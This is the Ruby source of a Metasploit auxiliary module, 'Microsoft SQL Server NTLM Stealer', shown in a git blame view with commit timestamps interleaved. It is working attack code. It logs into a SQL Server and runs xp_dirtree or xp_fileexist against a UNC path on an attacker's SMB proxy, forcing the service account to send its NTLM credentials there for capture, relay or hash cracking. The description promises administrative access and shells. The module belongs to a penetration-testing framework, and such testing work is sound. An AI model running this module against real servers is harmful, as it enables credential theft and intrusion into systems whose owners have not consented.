metasploit-framework/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb

88 lines
3.0 KiB
Ruby
Raw Normal View History

2012-10-15 18:29:51 +00:00
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
2012-10-16 17:10:37 +00:00
include Msf::Auxiliary::Scanner
include Rex::Text
2012-10-15 18:29:51 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server NTLM Stealer',
'Description' => %q{
2012-10-16 17:10:37 +00:00
This module can be used to help capture or relay the LM/NTLM
credentials of the account running the remote SQL Server service.
The module will use the supplied credentials to connect to the
target SQL Server instance and execute the native "xp_dirtree" or
"xp_fileexist" stored procedure. The stored procedures will then
force the service account to authenticate to the system defined in
the SMBProxy option. In order for the attack to be successful, the
SMB capture or relay module must be running on the system defined
as the SMBProxy. The database account used to connect to the
database should only require the "PUBLIC" role to execute.
Successful execution of this attack usually results in local
administrative access to the Windows system. Specifically, this
2012-10-15 18:29:51 +00:00
works great for relaying credentials between two SQL Servers using
2012-10-16 17:10:37 +00:00
a shared service account to get shells. However, if the relay fails,
then the LM hash can be reversed using the Halflm rainbow tables and
john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer
for the inspiration.
2012-10-15 18:29:51 +00:00
},
2012-10-16 17:10:37 +00:00
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
2012-10-15 18:29:51 +00:00
'License' => MSF_LICENSE,
'Platform' => [ 'Windows' ],
2012-10-16 17:10:37 +00:00
'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]],
2012-10-15 18:29:51 +00:00
))
register_options(
[
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
], self.class)
end
def run_host(ip)
2012-10-16 17:10:37 +00:00
# Reminder
2012-10-15 18:29:51 +00:00
print_status("DONT FORGET to run a SMB capture or relay module!")
2012-10-16 17:10:37 +00:00
# Set default result (fail)
2012-10-15 18:29:51 +00:00
result = 0
2012-10-16 17:10:37 +00:00
# Call auth_force method to execute "xp_dirtree"
2012-10-15 18:29:51 +00:00
result = force_auth("xp_dirtree",datastore['SMBPROXY'],rhost,rport)
2012-10-16 17:10:37 +00:00
# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
if result == 0 then
force_auth("xp_fileexist",datastore['SMBPROXY'],rhost,rport)
2012-10-15 18:29:51 +00:00
end
end
2012-10-16 17:10:37 +00:00
# --------------------------------------------
# Method to force sql server to authenticate
# --------------------------------------------
2012-10-15 18:29:51 +00:00
def force_auth(sprocedure,smbproxy,vic,vicport)
2012-10-16 17:10:37 +00:00
2012-10-15 18:29:51 +00:00
print_status("Forcing SQL Server at #{vic} to auth to #{smbproxy} via #{sprocedure}...")
2012-10-16 17:10:37 +00:00
# Generate random file name
2012-10-15 18:29:51 +00:00
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
2012-10-16 17:10:37 +00:00
# Setup query
2012-10-15 18:29:51 +00:00
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
2012-10-16 17:10:37 +00:00
# Execute query
2012-10-15 18:29:51 +00:00
begin
result = mssql_query(sql, false) if mssql_login_datastore
column_data = result[:rows]
2012-10-16 17:10:37 +00:00
print_good("Successfully executed #{sprocedure} on #{rhost}")
print_good("Go check your SMB relay or capture module for goodies!")
2012-10-15 18:29:51 +00:00
return 1
rescue
2012-10-16 17:10:37 +00:00
print_error("#{sprocedure} failed to initiate authentication to smbproxy.")
2012-10-15 18:29:51 +00:00
return 0
2012-10-16 17:10:37 +00:00
end
2012-10-15 18:29:51 +00:00
end
2012-10-16 17:10:37 +00:00
2012-10-15 18:29:51 +00:00
end